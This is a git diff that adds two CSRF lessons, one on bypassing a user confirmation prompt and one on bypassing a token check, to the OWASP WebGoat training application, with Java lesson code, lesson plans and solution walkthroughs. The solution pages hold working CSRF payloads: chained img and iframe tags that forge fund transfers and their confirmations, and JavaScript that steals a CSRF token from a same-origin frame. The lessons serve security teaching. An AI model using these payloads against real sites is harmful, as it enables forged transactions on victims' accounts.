<img src='" + getLink() + + "&transferFunds=5000' width=\"1\" height=\"1\" />"); + + return hints; + } + + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("CSRF Prompt By-Pass"); + } + + public Element getCredits() + { + A partnet = new A("http://www.partnet.com"); + partnet.setPrettyPrint(false); + partnet.addElement(new StringElement("PART")); + partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); + partnet.setStyle("background-color:midnightblue;color:white"); + + ElementContainer credits = new ElementContainer(); + credits.addElement(new StringElement("Contributed by ")); + credits.addElement(partnet); + credits.addElement(new BR()); + credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa")); + return credits; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfTokenByPass.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfTokenByPass.java new file mode 100644 index 000000000..55ab1fc74 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfTokenByPass.java @@ -0,0 +1,181 @@ + +package org.owasp.webgoat.lessons; + +import java.security.SecureRandom; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +import javax.servlet.http.HttpSession; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Form; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.H2; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.html.TextArea; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + + +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository for free software + * projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Contributed by PartNet. + * + */ +public class CsrfTokenByPass extends CsrfPromptByPass +{ + protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; + private static final String CSRFTOKEN = "CSRFToken"; + private static final int INVALID_TOKEN = 0; + private final Random random; + + public CsrfTokenByPass(){ + super(); + random = new SecureRandom(); + } + /** + * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the + * web content to confirm and then execute a simulated transfer of funds. An initial request + * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. + * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.length() != 0) + { + HttpSession httpSession = s.getRequest().getSession(); + + //get tokens to validate + Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN); + Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //generate new random token: + int token = INVALID_TOKEN; + while (token == INVALID_TOKEN){ + token = random.nextInt(); + } + httpSession.setAttribute(CSRFTOKEN, token); + + //present transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addAttribute("id", "transferForm"); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + form.addElement( new Input(Input.hidden, CSRFTOKEN, token)); + form.addElement( new Input(Input.submit)); + ec.addElement(form); + //present transfer funds form + + } else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); + makeSuccess(s); + + } + //white space + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + } + return ec; + } + + + private final static Integer DEFAULT_RANKING = new Integer(123); + + @Override + protected Integer getDefaultRanking() + { + + return DEFAULT_RANKING; + } + + @Override + protected List
Lesson Plan Title:CSRF User Prompt By-Pass
Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts. ++How the attacks works: +
+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page +that contains a 'forged request' to execute commands with the victim's credentials. Prompting +a user to confirm or cancel the command might sound like a solution, but can be by-passed if +the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another +forged request. This can also apply to a series of prompts such as a wizard or issuing multiple +unrelated forged requests.
+ + +General Goal(s):
+ +Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple +malicious requests: the first to transfer funds, and the second a request to confirm the prompt +that the first request triggered. The URL should point to the CSRF lesson with an extra +parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the +left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever +receives this email and happens to be authenticated at that time will have his funds transferred. +When you think the attack is successful, refresh the page and you will find the green check on +the left hand side menu. + + diff --git a/main/project/WebContent/lesson_plans/CsrfTokenByPass.html b/main/project/WebContent/lesson_plans/CsrfTokenByPass.html new file mode 100644 index 000000000..b0cbe426d --- /dev/null +++ b/main/project/WebContent/lesson_plans/CsrfTokenByPass.html @@ -0,0 +1,37 @@ +Lesson Plan Title:CSRF Token Prompt By-Pass
Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks. ++How the attacks works: +
++Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into +loading a page that contains a 'forged request' to execute commands with the +victim's credentials.
+ +Token-based request authentication mitigates these attacks. This technique +inserts tokens into pages that issue requests. These tokens are required to +complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses +this technique to help prevent CSRF attacks.
+ +However, this technique can be by-passed if CSS vulnerabilities exist on the same site. +Because of the same-origin browser policy, pages from the same domain can read content from +other pages from the same domain.
+ +General Goal(s):
+ +Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious +request to transfer funds. To successfully complete you need to obtain a valid request token. +The page that presents the transfer funds form contains a valid request token. The URL for the +transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load +this page, read the token and append the token in a forged request to transferFunds. When you think +the attack is successful, refresh the page and you will find the green check on the left hand side menu. + + + diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass.html b/main/project/WebContent/lesson_solutions/CsrfPromptByPass.html new file mode 100644 index 000000000..6faed2817 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CsrfPromptByPass.html @@ -0,0 +1,109 @@ + + + + +Lesson Plan Title:Prompt By-Pass with CSRF
+ +Concept / Topic To Teach:
+This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
+multiple requests to by-pass a scriptable user-prompt
+
General Goal(s):
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
+malicious requests: the first to transfer funds, and the second a request to confirm the prompt
+that the first request triggered. The URL should point to the CSRF lesson with an extra
+parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
+left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
+receives this email and happens to be authenticated at that time will have his funds transferred.
+When you think the attack is successful, refresh the page and you will find the green check on
+the left hand side menu
+
Start by crafting an image or iframe tag similar to the CSRF LAB: <img
+src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
+width="1" height="1" />
+
+This image request will not result in a transfer of funds but will instead
+prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
+Lesson with the extra parameter of "transferFunds=4000"
+
+
+User Prompt
+
+Next look at the source of the page to see what parameters the confirmation requires.
+The form in the confirmation prompt looks like the following:
+
+
+
+
+From this we see the next forged command will need the folllowing URL: <form accept-charset='UNKNOWN' method='POST' action='attack?Screen=5&menu=900' enctype='application/x-www-form-urlencoded'>
+ <input name='transferFunds' type='submit' value='CONFIRM'>
+ <input name='transferFunds' type='submit' value='CANCEL'>
+</form>
+attack?Screen=5&menu=900&transferFunds=CONFIRM
+This solution shows how to do this attack with both iframes and images. The next step is to
+add the additional forged confirmation request. However, an additional iframe or image with
+this URL will not be sufficient. The second request must load after the first. So add
+Javascript to load the second command after the first. For iframes, make the onload attribute
+of the first frame set the src of the second iframe:
+
+
+
+
+Next add the iframes into a message stored on the web page:<iframe
+ src="http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
+ id="myFrame" frameborder="1" marginwidth="0"
+ marginheight="0" width="800" scrolling=yes height="300"
+ onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';">
+
</iframe>
+
+<iframe
+ id="frame2" frameborder="1" marginwidth="0"
+ marginheight="0" width="800" scrolling=yes height="300">
+</iframe>
+
+
+
+Insert iframes hack picture
+
+The following shows the result of clicking on the malicious iframe message:
+
+Results of iframes hack picture
+In the above image, note that the first frame shows the user prompt, the result of the
+first forged request to transfer funds. In the second frame the results of the second
+forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
+transfered. Refreshing the page will indicate that this lesson has been completed.
+
+In a real attack these results would be hidden from the end user. Click "restart this lesson" +to attempt the attack again, only this time try hiding the attack with hidden or very small frames. +
+
+For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
+
+
+<img
+src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
+onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'"
+width="1" height="1" />
+<img
+id="image2"
+width="1" height="1" />
+
+
+Next store the malicious images in a message and click the message to attempt the attack.
+
+Picture of adding malicious image requests
+Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
+CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
+not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
+
+
\ No newline at end of file
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png
new file mode 100644
index 000000000..3971e484f
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png
new file mode 100644
index 000000000..48e299a23
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png
new file mode 100644
index 000000000..df21320e8
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png
new file mode 100644
index 000000000..b44361734
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png
new file mode 100644
index 000000000..7f0518029
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png
new file mode 100644
index 000000000..6257299d0
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png
new file mode 100644
index 000000000..42f27f677
Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png differ
diff --git a/main/project/WebContent/lesson_solutions/CsrfTokenByPass.html b/main/project/WebContent/lesson_solutions/CsrfTokenByPass.html
new file mode 100644
index 000000000..d4e4c7bd3
--- /dev/null
+++ b/main/project/WebContent/lesson_solutions/CsrfTokenByPass.html
@@ -0,0 +1,121 @@
+
+
+
Lesson Plan Title:CSRF Token Prompt By-Pass
+ +Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
+
+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into +loading a page that contains a 'forged request' to execute commands with the +victim's credentials.
+ +Token-based request authentication deters these attacks. This technique +inserts tokens into pages that issue requests. These tokens are required to +complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses +this technique to help prevent CSRF attacks.
+ +However, this technique can be by-passed if CSS vulnerabilities exist on the same site. +Because of the same-origin browser policy, pages from the same domain can read content from +other pages from the same domain.
+ +General Goal(s):
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
+request to transfer funds. To successfully complete you need to obtain a valid request token. The
+URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
+"transferFunds=main". Load this page, read the token and append the token in a forged request
+to transferFunds. When you think the attack is successful, refresh the page and you will find the
+green check on the left hand side menu.
+
Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
+a request will not result in a transfer of funds unless it has a correct token. To find
+a valid token, you could look at the form that the site generates to submit a transfer of funds.
+To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
+of "transferFunds=main"
+
+
+Transfer initiation form
+
+Next look at the source of the page to see what parameter the token comes in.
+
+
+From this we see a forged command will need the CSRFToken parameter. <form accept-charset='UNKNOWN' id='transferForm' method='POST' action='attack?Screen=2&menu=900' enctype='application/x-www-form-urlencoded'>
+ <input name='transferFunds' type='text' value='0'>
+ <input name='CSRFToken' type='hidden' value='1745740650'>
+ <input type='submit'>
+
</form>
+
+
+
This solution loads this page in an iframe and reads the token out of the frame. +Note that this is possible because the message originates from the same domain and +does not violate the "same origin policy". So even thought this page has taken +measures to prevent CSRF attacks, those measures can be side-stepped because of +CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the +frame, then the form, then saves the token
+ +
+var tokenvalue;
+
+function readFrame1()
+{
+ var frameDoc = document.getElementById("frame1").contentDocument;
+ var form = frameDoc.getElementsByTagName("Form")[0];
+ var token = form.CSRFToken.value;
+ tokenvalue = '&CSRFToken='+token;
+
+ loadFrame2();
+}
+
+function loadFrame2()
+{
+ var testFrame = document.getElementById("frame2");
+ testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
+}
+
+
+readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2 +LoadFrame2 will then append the token and load a second frame.
+ +The following frames loads the transfer page in the first frame. When it finishes loading, it will +call readFrame1, which calls loadFrame2, which then sets the src for the second iframe. + +
+
+
+
+<iframe src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
+ onload="readFrame1();"
+ id="frame1" frameborder="1" marginwidth="0"
+ marginheight="0" width="800" scrolling=yes height="300"></iframe>
+<iframe id="frame2" frameborder="1" marginwidth="0"
+ marginheight="0" width="800" scrolling=yes height="300"></iframe>
+
+
+
+The next picture shows inserting this code into a message:
+
+Inserting CSRF code into message
+
+The following picture shows the results of someone hitting this page. Note that no effort was taken to
+hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
+the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
+
The next picture shows inserting this code into a message:
+
+Results of viewing the malicious message
+
+
+